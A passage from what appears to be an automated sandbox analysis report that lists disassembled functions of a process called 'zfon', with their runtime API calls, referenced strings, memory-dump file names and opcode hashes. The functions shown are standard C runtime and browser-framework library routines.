Instruction Fuzzy Hash: B2F08122E1864142E780BF11ED413AD6330EB487C0FC44431E65D07AEADF3CE4928360

Function 00007FF8B9102B10 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 337COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9102F3F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9102F82

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00007FF8B9102BB9, 00007FF8B9102D8F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 3668304517-2799312399
Opcode ID: f900907ded2f50d54d52aa96b2e03f19fce0c69ff2b6659e1f2decb36258605d
Instruction ID: 8785ff834d91bbe8552ccea963760f979822c1399720d0b64f4122f17ef8d3e2
Opcode Fuzzy Hash: f900907ded2f50d54d52aa96b2e03f19fce0c69ff2b6659e1f2decb36258605d
Instruction Fuzzy Hash: BAD1EF22B086C289EB52DF6AD1402BD2B61FB45BD4F804571DF4E17BA5DE3EE946E300

Function 00007FF8B9102FC0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 337COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B91033EF
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9103432

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 00007FF8B9103069, 00007FF8B910323F

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 3668304517-2799312399
Opcode ID: e632bfa2d873c0be3d312fc90208439f941055322aecca706e8eed900dda154e
Instruction ID: a57cb1b507c83ce564cdb8535fb503ecf1efbe4dd513956cdffaf1dcdec9a8c9
Opcode Fuzzy Hash: e632bfa2d873c0be3d312fc90208439f941055322aecca706e8eed900dda154e
Instruction Fuzzy Hash: 5FD1BB22B0CAC28AEB50DF6A94402BD2761FB45BD4F805171DF4E1B7A9DE3EE546E304

Function 00007FF7F9721C60 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 277COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF7F9721FCB
?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF7F9721FD9

Strings

vector<T> too long, xrefs: 00007FF7F9721FC4, 00007FF7F9721FD2

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xlength_error@std@@
String ID: vector<T> too long
API String ID: 1004598685-3788999226
Opcode ID: fd96c43c9ae9a7940df19a78275077a50898266131be15fa7121a827a308b9e3
Instruction ID: bcb7fb21447734aa8fa0349fa752bd0394f7048a2ba9045c3ccde8450926d5de
Opcode Fuzzy Hash: fd96c43c9ae9a7940df19a78275077a50898266131be15fa7121a827a308b9e3
Instruction Fuzzy Hash: 7DB1BE22B18B8585EF24DFA5D9502ECA371FB48BD8F898132DE2D57798DF38E4458390

Function 00007FF8B910D3C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 195COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B910D5F4

Strings

%.0Lf, xrefs: 00007FF8B910D46D
0123456789-, xrefs: 00007FF8B910D474

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: %.0Lf$0123456789-
API String ID: 3668304517-3094241602
Opcode ID: c075ca733a5e2985d7409c734a112bdb889e844c53dbfec16932d9e1d86b165b
Instruction ID: bd690f246ca3a14500c1bee8dfeabd4716422e83c55f1c73b885387a1502d07c
Opcode Fuzzy Hash: c075ca733a5e2985d7409c734a112bdb889e844c53dbfec16932d9e1d86b165b
Instruction Fuzzy Hash: 68815526B08B859AEB10CF69D4402AC23B1FB48B88F408136DF4E67BA8DF3CE555D354

Function 00007FF8BFB5F6A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF8BFB5F762
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FF8BFB5F465), ref: 00007FF8BFB5F7BC

Strings

csm, xrefs: 00007FF8BFB5F749

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind
String ID: csm
API String ID: 451473138-1018135373
Opcode ID: e4c021b48a88740338c5921ea959046dd8c7dfd39424219a23c6621b5fb580c7
Instruction ID: 79f28e0f00c28de9eff84a569dc7887bc44b9a5b88b41285033acac8f76b6727
Opcode Fuzzy Hash: e4c021b48a88740338c5921ea959046dd8c7dfd39424219a23c6621b5fb580c7
Instruction Fuzzy Hash: E351AE36A196028AEB549BA9E464A39B7A2FB44BD8F148531DF4A47788DF7CF841C700

Function 00007FF8B9115430 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

swprintf_s.PGOCR ref: 00007FF8B91154D4
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9115621

Strings

%.0Lf, xrefs: 00007FF8B91154C4

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnswprintf_s
String ID: %.0Lf
API String ID: 296878162-1402515088
Opcode ID: 989814ed0aab853247327d7537572a65def7191e538b3b40b3089a5dc173ab06
Instruction ID: d3de339d7ea4a6341e3f0925ae61929c85a69c9e7bbce919b1862f2ebb0b7974
Opcode Fuzzy Hash: 989814ed0aab853247327d7537572a65def7191e538b3b40b3089a5dc173ab06
Instruction Fuzzy Hash: B2515B62B19F8595EB01DF69E8402AD6370AB89BD4F504232DF5D27BA9EF3CD046D300

Function 00007FF8BFB54E40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8BFB56E48: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF8BFB529EE), ref: 00007FF8BFB56E56

_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF8BFB54F16
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8BFB54F74

Strings

csm, xrefs: 00007FF8BFB5501A

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: abort$CreateFrameInfo
String ID: csm
API String ID: 2697087660-1018135373
Opcode ID: 97157617618e05fe8c8104398669bc63cc419c1e3435ae2751fdc288269851fb
Instruction ID: e20a8f4130404b7c95f8e0b0e610f20c3e744ab593ab0e119664c2388309b977
Opcode Fuzzy Hash: 97157617618e05fe8c8104398669bc63cc419c1e3435ae2751fdc288269851fb
Instruction Fuzzy Hash: 31514833A1975286E660AB6AE45026E77A4FB89BE5F141138EB8D07B55CF3CF461CB00

Function 00007FF7F96E42A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140(?,?,?,00007FF7F96E457A,?,?,?,?,?,00007FF7F96E3EB6), ref: 00007FF7F96E4334
memcpy.VCRUNTIME140(?,?,?,00007FF7F96E457A,?,?,?,?,?,00007FF7F96E3EB6), ref: 00007FF7F96E43B4

Strings

string too long, xrefs: 00007FF7F96E432D

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xlength_error@std@@memcpy
String ID: string too long
API String ID: 237780522-2556327735
Opcode ID: 766234853e80b54a606be1abb6eea6c403c8145d92a10ec42f8acf46b96c6568
Instruction ID: ce538dcd645fdaae83ee90136e0f5c8baa17c579643af84e3ac1a2916a782c11
Opcode Fuzzy Hash: 766234853e80b54a606be1abb6eea6c403c8145d92a10ec42f8acf46b96c6568
Instruction Fuzzy Hash: EC31A021B18A4281DF15AF26E94403CB272FB88FD4B985131CE3D87BDCDE2DE45183A9

Function 00007FF8B9115660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

_Strftime.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF8B911570D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9115793

Strings

!%x, xrefs: 00007FF8B911569C

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Strftime_invalid_parameter_noinfo_noreturn
String ID: !%x
API String ID: 1195835417-1893981228
Opcode ID: 475ce4feb2b53e6add6535e716405e09a01bdaf5ad8d93cb3019602a11087002
Instruction ID: ab6ce746f4bee450f945f7097fa7b7fd01be170b3dda4ed02e61b8d1b46e8948
Opcode Fuzzy Hash: 475ce4feb2b53e6add6535e716405e09a01bdaf5ad8d93cb3019602a11087002
Instruction Fuzzy Hash: E6415A62B08AC1AEEB119FB9D4103ED2771AB58798F408622DF9C17B9AEE38D145D350

Function 00007FF7F96E3130 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94COMMON

Download Yara Rule

APIs

?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF7F96E31B4
memcpy.VCRUNTIME140 ref: 00007FF7F96E322E

Strings

string too long, xrefs: 00007FF7F96E31AD

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xlength_error@std@@memcpy
String ID: string too long
API String ID: 237780522-2556327735
Opcode ID: 6cc9c3de7402aa3eda63dc3cfcc9be082f1e203825f314b7ca0c0bae42979206
Instruction ID: d69d028503bf0fcecc8e7cd7579d88f6e634cdd9b159b8df49a244880f4a2a50
Opcode Fuzzy Hash: 6cc9c3de7402aa3eda63dc3cfcc9be082f1e203825f314b7ca0c0bae42979206
Instruction Fuzzy Hash: FD31BF31B08A4180EF14AF1AE944569A232EB48FD4F884135DE7E07BDDDF2ED491839A

Function 00007FF8B90E6290 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90E62CA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B90E632C

Strings

+, xrefs: 00007FF8B90E6316

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _errnoisspace
String ID: +
API String ID: 607103254-2126386893
Opcode ID: ceb648361af4a40464abd6bb96d21510e563132ef184305b88ba731e0678b504
Instruction ID: 1d2fb01f6a6af1e40dd08c71c3fbdd999073e4424c8be8e6b050e201814033df
Opcode Fuzzy Hash: ceb648361af4a40464abd6bb96d21510e563132ef184305b88ba731e0678b504
Instruction Fuzzy Hash: 3321B221F09A9A81FE669F2DE55427CAAD1AB54BD0F594039DF6D83790DE3CD8839300

Function 00007FF8BFB5A538 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BFB5A636

Strings

void , xrefs: 00007FF8BFB5A5C0
void, xrefs: 00007FF8BFB5A598

Memory Dump Source

Source File: 00000005.00000002.2549874919.00007FF8BFB51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000005.00000002.2549750292.00007FF8BFB50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2549976829.00007FF8BFB63000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550400824.00007FF8BFB68000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2550885347.00007FF8BFB69000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8bfb50000_zfon.jbxd

Similarity

API ID: Name::operator+
String ID: void$void
API String ID: 2943138195-3746155364
Opcode ID: 97d3235dbf24bda01b6dbd3d7bde98b4578176fb3c7ca11f2c57902aac5691c6
Instruction ID: 256b16f68ca512b4685168fef67914be78d16ae6eb6250b55c8ff61e60617d1d
Opcode Fuzzy Hash: 97d3235dbf24bda01b6dbd3d7bde98b4578176fb3c7ca11f2c57902aac5691c6
Instruction Fuzzy Hash: 8C311562E18A569CFB01CFA8E8600FC77B4BB48788B940136EF4E62B59DF3CA144C750

Function 00007FF7F96E2B20 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25C3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25D3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25E3
Part of subcall function 00007FF7F96E2520: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E25F0

cef_string_map_alloc.LIBCEF ref: 00007FF7F96E2B8F
cef_string_map_alloc.LIBCEF ref: 00007FF7F96E2BDA

Strings

text/html, xrefs: 00007FF7F96E2BA3

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$cef_string_map_alloc
String ID: text/html
API String ID: 3856544966-3872744991
Opcode ID: 888e6c1b3f1e3331f613257842be11fd7939f225599eba024fbb2b563b5733c6
Instruction ID: 0540b33be286a63b7075eeb3063cf3f7f8f0bceba4aeb381890502054f47dec8
Opcode Fuzzy Hash: 888e6c1b3f1e3331f613257842be11fd7939f225599eba024fbb2b563b5733c6
Instruction Fuzzy Hash: C2314D62608B4581EB50AF15E880269B732FBC8BE8F949221E6AD43AECCF2CC545C754

Function 00007FF7F9703580 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

cef_string_map_alloc.LIBCEF ref: 00007FF7F97035A5
cef_string_map_alloc.LIBCEF ref: 00007FF7F970361C

Strings

11d15b06c9fb87a76f83ad5fe91f22eb03edbef5, xrefs: 00007FF7F97035AE

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: cef_string_map_alloc
String ID: 11d15b06c9fb87a76f83ad5fe91f22eb03edbef5
API String ID: 3041573648-612978255
Opcode ID: 7073bd34756768840e07731e4de828ad42ddd1829c919e3ef5f2fd825d233364
Instruction ID: f11c4be7be2c00459fa95bc2c95995ba30f0e0744b6d8b20d7e8c34b74b63f5e
Opcode Fuzzy Hash: 7073bd34756768840e07731e4de828ad42ddd1829c919e3ef5f2fd825d233364
Instruction Fuzzy Hash: 97218B62B08B41C1DB44DF2AE880169A7B1FB88FC4B588036DB5E837A8DF28C495C350

Function 00007FF8B9115D60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8B90F29D4: memset.VCRUNTIME140(?,?,00000000,00007FF8B90F5826), ref: 00007FF8B90F2A1A

std::_Winerror_message.LIBCPMT ref: 00007FF8B9115DAF
memmove.VCRUNTIME140 ref: 00007FF8B9115DDF

Part of subcall function 00007FF8B90E9D18: memcpy.VCRUNTIME140(?,?,?,00007FF8B90ED5CD), ref: 00007FF8B90E9DD7

Strings

unknown error, xrefs: 00007FF8B9115DD5, 00007FF8B9115DEA

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Winerror_messagememcpymemmovememsetstd::_
String ID: unknown error
API String ID: 3480822978-3078798498
Opcode ID: 98119a2c876a1c59b561851f97c996c2cff6274175daffcd9d743103a7d01bdb
Instruction ID: 416e2d1cabe49680688a4044d142d9ffb7b645903a127a6521d81a236acf68ec
Opcode Fuzzy Hash: 98119a2c876a1c59b561851f97c996c2cff6274175daffcd9d743103a7d01bdb
